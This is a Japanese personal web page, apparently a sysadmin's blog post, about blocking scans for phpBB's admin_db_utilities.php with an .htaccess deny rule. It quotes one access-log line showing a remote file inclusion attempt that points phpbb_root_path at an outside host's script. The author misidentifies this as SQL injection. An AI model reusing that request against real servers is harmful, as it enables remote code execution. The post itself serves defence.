Go to TOP Page
Google:


□admin_db_utilities.php を拒否る。


○ウゼーんだよ。おまぃわっ!

この php スクリプトは、 phpBB なる掲示板に含まれているモヨウ。
もちろん、phpBB が原因でわなく、admin_db_utilities.php の脆弱性を狙って良からぬ 事をしようと悪事を働く不埒な輩の悪巧みが原因でつ。

きっと、SQL Injection の一種なのでしょう。
Attack 用の Exploit code が出回っているラシク、script kiddy が一生懸命実行してそうな感じです。
access_log 見てみると、"libwww-perl/5.803" とか入ってるし。
まづわ、 log をご覧あれい。

access_log の一例
164.41.101.38 - - [02/Sep/2008:02:00:18 +0900] "GET /cgi-bin/scu3_diary//modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://home.bellavillapattaya.com/modul/mic.txt??? HTTP/1.1" 404 13255 "-" "libwww-perl/5.803"

IP アドレスを whois してみたら cctld は UY でつた。
UY をさらに調べてみると・・・・República Oriental del Uruguay.

ウルグアイ?

南米だよね・・・?ウルグアイ。
初めてみたよ。

用があるなら メール投げろやっ!
щ(゚Д゚щ)カモーン!!

っつーワケでさっさとアクセス拒否するなり、制限するなりするが良かろう。


□対処の方法


○.htaccess に書く

admin_db_utilities.php を拒否すればよいだけ。


.htaccess の一例
<Files "admin_db_utilities.php">
    order deny,allow
    deny from all
</Files>

これで ok.
暫く様子を見てみてくらさい。
時々 access_log を見て該当のリクエストに対して status code 403 をレスポンスしているのを確認しませう。

phpDB を使っている場合、 deny from all しちゃうと、管理できなくなりそーなので、 適宜 allow from xxx.xxx.xxx.xxx を入れて許可する定義もしておけばよろしかろうと 思いまつ。





go back    next
Copyright(c) ORATORIO-TANGRAM.com 2001-2007 All Rights Reserved.
Total:counter